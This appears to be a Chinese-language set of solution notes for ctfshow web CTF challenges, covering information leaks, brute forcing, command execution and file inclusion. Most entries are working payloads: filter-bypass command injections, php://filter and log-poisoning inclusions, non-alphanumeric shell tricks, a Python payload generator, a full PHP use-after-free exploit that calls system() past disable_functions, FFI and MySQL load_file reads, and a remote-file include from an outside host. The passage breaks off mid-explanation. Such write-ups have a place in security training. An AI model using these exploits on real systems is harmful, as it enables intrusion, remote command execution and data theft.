信息搜集

web-5

这里题目暗示phps,那我们直接访问一下url/index.phps,会弹出一个下载文件的窗口。下载后得到index.phps的源码,里面有flag

web-6

/www.zip,然后访问/fI000g.txt

web-7

/.git/index.php

web-8

/.svn/

web-9

1.当vim在编辑文档的过程中如果异常退出,则会产生缓存文件。第一次产生的缓存文件后缀为.swp,第二次则产生的缓存文件后缀为.swo,第三次产生的缓存文件后缀为.swn。

2.使用命令vim -r 可以查看当前目录下的所有swp文件。

3.使用命令vim -r filename可以恢复文件,这样上次意外退出并且没有保存的修改,就可以覆盖文件。

4.调用这类的隐藏文件的时候,需要在最前面加.(如删除index.php.swp,则需要rm -fr* .index.php.swp).

5.vim使用的缓存存储是一种固定的二进制文件,我们可以通过curl命令,或者vim命令进行查看。

根据网页提示,我们首页访问index.php,网页无反应。

然后我们根据vim的缓存原理,我们访问.index.php.swp,网站会弹出

如果在Linux系统下运行,我们可以先通过vim -r .index.php.swp来将源文件恢复。然后我们即可查看到flag。

web-11

dbcha.com,解析域名,TXT 记录,一般指为某个主机名或域名设置的说明。

web-12

管理员后台/admin,密码在底部

web-13

document泄露

web-14

/editor

/nothinghere/fl000g.txt

web-15

/admin忘记密码,泄露的邮箱显示为西安

web-16*

/tz.php访问phpinfo,搜索flag

PHP探针实际上是一种Web脚本程序,主要是用来探测虚拟空间、服务器的运行状况,而本质上是通过PHP语言实现探测PHP服务器敏感信息的脚本文件,通常用于探测网站目录、服务器操作系统、PHP版本、数据库版本、CPU、内存、组件支持等,基本能够很全面的了解服务器的各项信息。

web-17

/backup.sql

备份sql泄露

web-18

看源码js,\u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b解码

/110.php

web-20*

mdb文件是早期asp+access构架的数据库文件 直接查看url路径添加/db/db.mdb 下载文件通过txt打开或者通过EasyAccess.exe打开搜索flag flag{ctfshow_old_database}

爆破

web-21

bp爆破模块的使用,小心url编码

web-22

http://z.zcjun.com/子域名爆破

web-23

token爆破

web-24*

直接跑一下看看生成的随机数是什么就行。

mt_scrand(seed)。这个函数的意思,是通过分发seed种子,然后种子有了后,靠mt_rand()生成随机 数。
提示:从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数 因此不需要播种,并且如果设置了 seed参数 生成的随机数就是伪随机数,意思就是*在同一进程中,同一个seed,每次通过mt_rand()生成的值都是固定的

web-25*

https://github.com/openwall/php_mt_seed

我们先取0,得到第一个随机数的负数

然后去./php_mt_seed里面生成种子,根据版本选择种子

然后看题目要求,token为第二三个种子相加,我们直接利用上面的种子生产第二三个数值相加即可

1
2
3
4
5
6
官方解释:
mt_scrand(seed)这个函数的意思,是通过分发seed种子,然后种子有了后,靠mt_rand()生成随机 数。 在之前自己还以为需要暴力破解cookie,最后师傅们给我介绍了一个脚本,专门用来跑mt_srand()种子和 mt_rand()随机数的 这里自己解释一下为什么每一次的mt_rand()+mt_rand()不是第一次的随机数相加?? 因为生成的随机数可以说是一个线性变换(实际上非常复杂)的每一次的确定的但是每一次是不一样的,所以不能 进行第一次*2就得到mt_rand()+mt_rand() 使用说只要我们得到种子就可以在本地进行获得自己想要的值 解题:通过随机数来寻找种子 我们让 ?r=0 得到随机数。这里我得到的是 183607393 每一次不一样(因为flag值在变化) 然后下载 php_mt_seed4.0 我们在linux下面使用 gcc进行编译 gcc php_mt_seed.c -o php_mt_seed 之后运行脚本添加随机数 ./php_mt_seed 183607393

找到对应的版本这里自己的运气好第一个出来的自己验证了一下发现就是这个 注:可能存在多个种子需要自己进行判断 通过种子找到第一个随机数就是上面的随机数。

payload: ?r=183607393 Cookie: token=794171094

web-27

根据表格,在查询界面跑就完事了,用data跑,注意中文编码。

web-28

直接数字跑目录就行

命令执行

web-29*

?c=system(‘ls’);

?c=echo `nl fla’’g.php`;

web-30

?c=echo%20`nl%20fla%27%27g.p%27%27hp`;

web-31*

?c=include$_GET[x];&x=php://filter/read=convert.base64-encode/resource=flag.php

?c=require$_GET[x];&x=php://filter/read=string.rot13/resource=flag.php

web-32

?c=include$_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=flag.php

web-33

?c=include$_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=flag.php

web-34

?c=include$_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=flag.php

web-35

?c=include$_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=flag.php

web-36

?c=include$_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=flag.php

web-37

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
?c=data://text/plain,

web-38*

日志包含:

User-Agent:

view-source:http://886a56cc-45cf-4f20-aa05-cd7113aefd8c.challenge.ctf.show/?c=/var/log/nginx/access.log

由于正则过滤了php所以我们的,就被过滤了,这里可以使用短标签。用=代替php。

将flag.php内容copy到1.txt中(也可以使用mv命令 ?c=data://text/plain,),之后在去访问1.txt。

?c=data://text/plain,

?c=1.txt

web-39

?c=data://text/plain,

web-40*

https://blog.csdn.net/Kracxi/article/details/121041140

过滤了很多符号,比如引号,美元符等,可以构造无参数函数

无参数是指a(),a(b())等,而不能是a(‘b’)

print_r(scandir(‘.’));查看当前目录下的所有文件名

localeconv() 函数返回一包含本地数字及货币格式信息的数组。

current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样

1
?c=print_r(scandir(current(localeconv())));打印出当前目录下文件

flag.php在倒数第二个,直接用next(array_reverse());

1
show_source(next(array_reverse(scandir(pos(localeconv())))));

pos()是PHP中的内置函数,用于返回内部指针当前指向的数组中元素的值。返回值后,pos()函数不会递增或递减内部指针。

首先就是查看已经定义好的所有的变量。使用get_defined_vars()函数,返回由所有已定义变量所组成的数组。版本要求:PHP 4 >= 4.0.4, PHP 5, PHP 7

使用print_r()函数,将已经定义好的变量组成的数组进行打印输出。payload:

1
?c=print_r(get_defined_vars())

发现由GET、POST等,这里我们就可以使用POST传入一个参数看一下。

post传参为1=phpinfo();使用payload:

1
?c=print_r(next(get_defined_vars()));

之后我们的思路就是将他的值取出来,然后去执行它。这里使用array_pop()函数将他的值弹出来,通过eval()函数来执行

1
2
?c=eval(array_pop(next(get_defined_vars())));
daigua=system('cat flag.php');

GXYCTF的禁止套娃 通过cookie获得参数进行命令执行

1
2
利用session_id()让php读取我们设置的cookie(session默认不使用所以加了session_start()让php开始使用session)
受php版本影响 5.5 -7.1.9均可以执行,因为session_id规定为0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的
1
c=session_start();system(session_id());

提交之后 Cookie中会生成PHPSESSID,这时候我们可以把它的值改成ls再提交,然后就会显示当前目录下的文件,也可以用bp来抓包,修改值为ls 再提交,获得目录的下文件,后面可以继续构造payload来拿到flag,可以用base64编码和写小马。由于php版本问题只能进行到这里.

1
2
/?c=show_source(session_id(session_start()));
PHPSSID值设为flag.php

ps:session_idsession_id http://t.zoukankan.com/imnzq-p-6859011.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
php session_id()用法代码举例如下:

输出session_id()详细代码:

<?php

session_start();//开启session会话

echo session_id();//输入session_id

// 输出 08nr1fav9jqs2pdi5qlpsmd247
?>
设置 session_id()详细代码:

<?php

session_id("www.169it.com");//设置session_id

session_start();//开启session会话

echo session_id();

// 输出 www.169it.com
?>

web-41*

脚本一,我没跑成功,改来改去也不对,可以参考着自己写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import re
import requests

url="http://4d761ee5-a510-4666-a3cd-bc2771825aca.challenge.ctf.show/"

a=[]
ans1=""
ans2=""
for i in range(0,256): #设置i的范围为全部字符
c=chr(i)
#将i转换成ascii对应的字符,并赋值给c
tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c,re.I)
#设置过滤条件,让变量c在其中找对应,并利用修饰符过滤大小写,这样可以得到未被过滤的字符
if(tmp):
continue
#当执行正确时,那说明这些是被过滤掉的,所以才会被匹配到,此时我们让他继续执行即可
else:
a.append(i)
#在数组中增加i,这些就是未被系统过滤掉的字符

# eval("echo($c);");
mya="system" #函数名 这里修改!
myb="cat flag.php" #参数
def myfun(k,my): #自定义函数
global ans1 #引用全局变量ans1,使得在局部对其进行更改时不会报错
global ans2 #引用全局变量ans2,使得在局部对其进行更改时不会报错
for i in range (0,len(a)): #设置循环范围为(0,a)注:a为未被过滤的字符数量
for j in range(i,len(a)): #在上个循环的条件下设置j的范围
if(a[i]|a[j]==ord(my[k])):
ans1+=chr(a[i]) #ans1=ans1+chr(a[i])
ans2+=chr(a[j]) #ans2=ans2+chr(a[j])
return;#返回循环语句中,重新寻找第二个k,这里的话就是寻找y对应的两个字符
for x in range(0,len(mya)): #设置k的范围
myfun(x,mya)#引用自定义的函数
data1="('"+ans1+"'|'"+ans2+"')" #data1等于传入的命令,"+ans1+"是固定格式,这样可以得到变量对应的值,再用'包裹,这样是变量的固定格式,另一个也是如此,两个进行按位与运算,然后得到对应值
ans1=""#对ans1进行重新赋值
ans2=""#对ans2进行重新赋值
for k in range(0,len(myb)):#设置k的范围为(0,len(myb))
myfun(k,myb)#再次引用自定义函数
data2="(\""+ans1+"\"|\""+ans2+"\")"

data={"c":data1+data2}
r=requests.post(url=url,data=data)#r等于以post方式传递参数,其中url=上面的url,data等于刚刚得到的data
print(r.text) #输出得到的文本信息

脚本二,官方给的wp

rce_or.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);
?>

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)

python exp.py url

web-42*

>/dev/null 2>&1

这条命令用到了重定向绑定,采作用是错误输出将和标准输出同用一个文件描述符,简单的说就是标准输出和错误输出输出到同一个地方

其简单理解就是把标准输出和错误输出全扔了

直接截断就行:?c=cat%20flag.php%0a

web-43

?c=tac%20flag.php%0a

web-44

?c=tac%20fla%27%27g.php%0a

web-45

?c=tac%09fla%27%27g.php%0a

web-46

/?c=tac%09fla?.php%0a

/?c=nl<fla%27%27g.php||

web-47

/?c=tac%09fl%27%27ag.php%0a

web-48

/?c=tac%09fla%27%27g.php%0a

web-49

/?c=tac%09fla?.php%0a

web-50

/?c=tac%09fla%27%27g.php%0a

web-51

/?c=ta%27%27c<>fla%27%27g.php%0a

web-52

/?c=ta%27%27c${IFS}fl%27%27ag.php%0a

没给出flag,看看目录

/?c=ls${IFS}/||

/?c=cp${IFS}/fl%27%27ag${IFS}/var/www/html/a.txt||

/a.txt

web-53

/?c=nl${IFS}fl%27%27ag.php

web-54*

这道题环境有点怪。如果先mv一份,就寄了。所以不要mv!!!

/?c=rev${IFS}fl?g.php

/?c=/bin/?at${IFS}f???????

/?c=xxd${IFS}fla?.php

二进制显示

web-55*

什么骚操作

/bin/base64 flag.php

/?c=/???/????64 ????????

无敌的p神。。。。。

https://blog.csdn.net/qq_46091464/article/details/108513145

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

本关是属于那种无字母构造webshell的,那么绕过思路呢就是利用linux shell命令,用.可以执行一个文件中的命令,例如.3.php就是执行3.php中的命令
此时我们应该去哪里找这个上传的文件呢,扩充一个小的知识点

1
2
post上传一个文件后,此时PHP会将我们上传的文件保存在临时文件夹下,
默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机生成的大小写字母。

此时我们肯定想的是构造如下payload

1
?c=/???/?????????

可是符号这种条件的文件有好多个,无法匹配到我们想要的那个文件,这时我们想到glob支持利用[0-9]设置范围,那同理我们也可以设置范围为[A-Z],但是因为字母被过滤掉了,所以我们用A的前一位@和Z的后一位[来进行替代,构造如下payload

1
2
c=.%20/???/????????[@-[]
注:%20是空格,也可以用+来代替,目的是进行隔断

此时写一个post包,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://9e1a3122-1876-431c-8e68-91515f1ce03d.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

放到一个html文件中,并打开
再构造一个php文件,用于我们访问,内容如下

1
2
#!/bin/sh
ls

此时我们选中php文件,进行抓包,并把payload输入到其中。最后更改php文件中内容,把ls改为cat flag.php,执行结果如下

web-56

看上面p神的文章,博客里面还有一篇,都要看。

下面给出脚本

1
2
3
4
5
6
7
import requests
url="http://63212fe8-01b7-4867-ab04-458e8e1a39fb.challenge.ctf.show/?c=. /???/????????[@-[]"
files={'file':'ls'}
for i in range(1000):
response=requests.post(url,files=files)
html = response.text
print(html)
1
files={'file':'cat flag.php'}

web-57*

首先需要了解一下取反运算,如果没有对取反没有了解可以自行百度一下,取反有一个公式,无论是正数还是负数都是有效的,~a=-(a+1)
其次,在linux中,没有字母也可以输出数字,具体如下

1
2
3
4
5
6
7
8
9
$(())=0
$((~$(())))=-1
原理是:
${_}=""
$((${_}))=0
$((~$((${_}))))=-1
然后拼接出-36在进行取反

注意的是:${_}会输出上一次的执行结果

/?c=$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))

web-58*

c=show_source(‘flag.php’);

web-66

c=print_r(scandir(“/“));

c=highlight_file(“/flag.txt”);

web-68

c=var_dump(scandir(‘/‘));

c=include(‘/flag.txt’);

web-70

c=var_export(scandir(‘/‘));

c=include(‘/flag.txt’);

web-71

ob_get_contents():返回输出缓冲区的内容,只是得到输出缓冲区的内容,但不清除它。此函数返回输出缓冲区的内容,或者如果输出缓冲区无效将返回FALSE 。

ob_end_clean():清空(擦除)缓冲区并关闭输出缓冲,此函数丢弃最顶层输出缓冲区的内容并关闭这个缓冲区。如果想要进一步处理缓冲区的内容,必须在ob_end_clean()之前调用ob_get_contents(),因为当调用ob_end_clean()时缓冲区内容将被丢弃。

c=var_export(scandir(‘/‘));die();

c=include(‘/flag.txt’);exit(0);

web-72*

https://www.cnblogs.com/hookjoy/p/12846164.html

glob查它目录

1
2
3
4
5
6
c=?><?php $a=new DirectoryIterator("glob://./*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

uaf绕过open_basedir执行命令
poc(需要url编码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
<?php
function ctfshow($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}


$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
?>

web-73

可以重写strlen函数,用上面的脚本即可。

目录遍历再包含

c=%3F%3E%3C%3Fphp%20%24a%3Dnew%20DirectoryIterator(%22glob%3A%2F%2F%2F*%22)%3B%0Aforeach(%24a%20as%20%24f)%0A%7Becho(%24f-%3E__toString().’%20’)%3B%0A%7D%0Aexit(0)%3B%0A%3F%3E%0A

c=include(‘/flagc.txt’);exit();

web-74*

老规矩,先扫目录

1
2
3
4
5
6
c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

bin dev etc flagx.txt home lib media mnt opt proc root run sbin srv sys tmp usr var

c=include(‘/flagx.txt’);exit();

可以使用一些可使用的进程去读取flag。这里使用PDO(PHP Database Object)去执行sql语句进而读出flag

1
2
3
4
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flagx.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

dbname可以是mysql,只要是mysql数据库里面存在的数据库名(dbname)就可以了
还要数据库密码是弱密码 root/root

web-75

1
2
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f-
>__toString().'');}exit(0);?>
1
2
3
4
5
6
7
8
9
10
11
12
c=try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');

foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);

web-77*

利用php7.4的FFI

(PHP 7 >= 7.4.0, PHP 8)
FFI::cdef — Creates a new FFI object
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。

通过FFI,可以实现调用system函数,从而执行命令
https://www.php.net/manual/zh/ffi.cdef.php
https://www.php.cn/php-weizijiaocheng-415807.html

1
2
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f-
>__toString().'');}exit(0);?>
1
2
3
c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);exit();

将/readflag的执行结果重定向到1.txt

web-118*

这里使用了linux系统变量构成命令来执行的方法

我们要构造nl命令来查看flag

看题目给的hint

1
2
3
4
5
6
假如
${PATH} 为abcdef
那么
${PATH:3} def
${PATH:~0} f
${PATH:~A} f //A是字符串转换为数字为0

所以我们可以通过

${PATH:~A}构造出’n’ //因为他把数字禁了

又因为${PWD}为当前目录

当前目录大概率为/var/www/html

最后一个字符为l

所以可以构造出’l’

又因为hint中flag在flag.php

1
${PATH:~A}${PWD:~A}${IFS}????.???
1
2
3
4
5
6
7
8
9
10
11
还有别的利用${PATH}构造的payload

SHLVL是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时${SHLVL}=2。
${PWD:${#}:${SHLVL}}就输出/

${#}是0,${SHLVL}为1
${#PWD}是回显字符数,${PWD} 是/root,${#PWD}是5

因为数字被屏蔽了,所以需要${#}来替代数字,截取想要的字符串

#${RANDOM}是随机数,${#RANDOM}一般是5,也可能是4
1
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???

#其他师傅

1
${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???

web-119

1
2
3
4
5
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???
# pwd=/var/www/html
# USER=www-data
# payload即为 /???/?at ????.???
为了构造/bin/cat
1
2
3
也可以只要a进行构造
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
/???/?a? ????.???

web-120

1
code=${PWD::${*#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???*

web-121

1
2
3
code=${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
/???/r?? ????.???
/bin/rev
1
`${?}=0,${#?}=1`($?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误)
1
${#IFS}=3

web-122

通过$?来实现的,$?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误
payload:code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
#可能存在成功的机会,不断刷新(RANDOM可能是4或者5,上面有说过),base64解码

web-124*

动态调用。

1
2
3
4
base_convert  		#在任意进制之间转换数字。
hexdec #把十六进制转换为十进制。
dechex #把十进制转换为十六进制。
hex2bin #把十六进制的字符串转换为ASCII码
1
2
3
4
5
6
7
8
9
10
11
12
<?php 

// 把 hex2bin转化为10进制
echo base_convert("hex2bin", 36, 10); //37907361743
echo "<br>";
echo base_convert("8d3746fcf", 16, 36); //hex2bin
echo "<br>";
//把_GET 先转为16进制再转为10进制
echo hexdec(bin2hex("_GET")); //1598506324
echo "<br>";
echo base_convert("8d3746fcf", 16, 36)(dechex("1598506324")); // 绕过过滤拿到 "_GET"
?>

简单解释一下吧,(dechex(“1598506324”))这东西解码后就是bin2hex(“_GET”)的内容,所以是一串ASCII码,base_convert(“8d3746fcf”, 10, 36)这玩意解码后就是hex2bin。所以全部解码之后就是bin2hex(bin2hex(“_GET”)),那它就是_GET了。我们将$$pi就是在GET里面套个GET方法,然后后面将数学函数套进去当作变量,system(要执行的命令)

1
$$pi{abs}($$pi{acos})  #相当于 $_GET['abs']($_GET['acos'])

大致就是这个意思。

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat%20flag.php

文件包含

web-78

/?file=php://filter/read=convert.base64-encode/resource=flag.php

web-79

Php://input

/?file=data://text/plain,

/?file=data://text/plain;base64,PD89IHN5c3RlbSgndGFjIGZsYWcuPz8/Jyk7Pz4=

web-80*

php://input大小写绕过

/?file=/var/log/nginx/access.log

User-Agent:

1=system(‘ls’);

1=system(‘cat fl0g.php’);

?file=http://xxx.xxx.xxx.xxx/daigua.txt
daigua.txt里面写入代码。

web-82*

1
2
3
4
5
6
7
8
9
10
11
12
<?php

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

过滤了点,日志包含也不行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PHP里面唯一我们能控制的没有后缀的文件就是session文件

利用PHP_SESSION_UPLOAD_PROGRESS写入session文件加条件竞争达到文件包含的目的

1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on(默认开启)
3. session.upload_progress.prefix = "upload_progress_"(默认)
4. session.upload_progress.name = "$PHP_SESSION_UPLOAD_PROGRESS"(默认)

enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;

cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容

name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控也就是PHP_SESSION_UPLOAD_PROGRESS的值可控;

prefix+name将表示为session中的键名,

大体思路为:

1、post一个与ini中设置的session.upload_progress.name的同名变量(默认的name为“PHP_SESSION_UPLOAD_PROGRESS”),那么就会返回上传文件的实时进度并写入session文件中。session文件的内容为:(它会在$_SESSION中添加一组数据, 索引是session.upload_progress.prefix与 session.upload_progress.name连接在一起的值)

2、如果我们post传递PHP_SESSION_UPLOAD_PROGRESS的值为一句话木马

比如为:

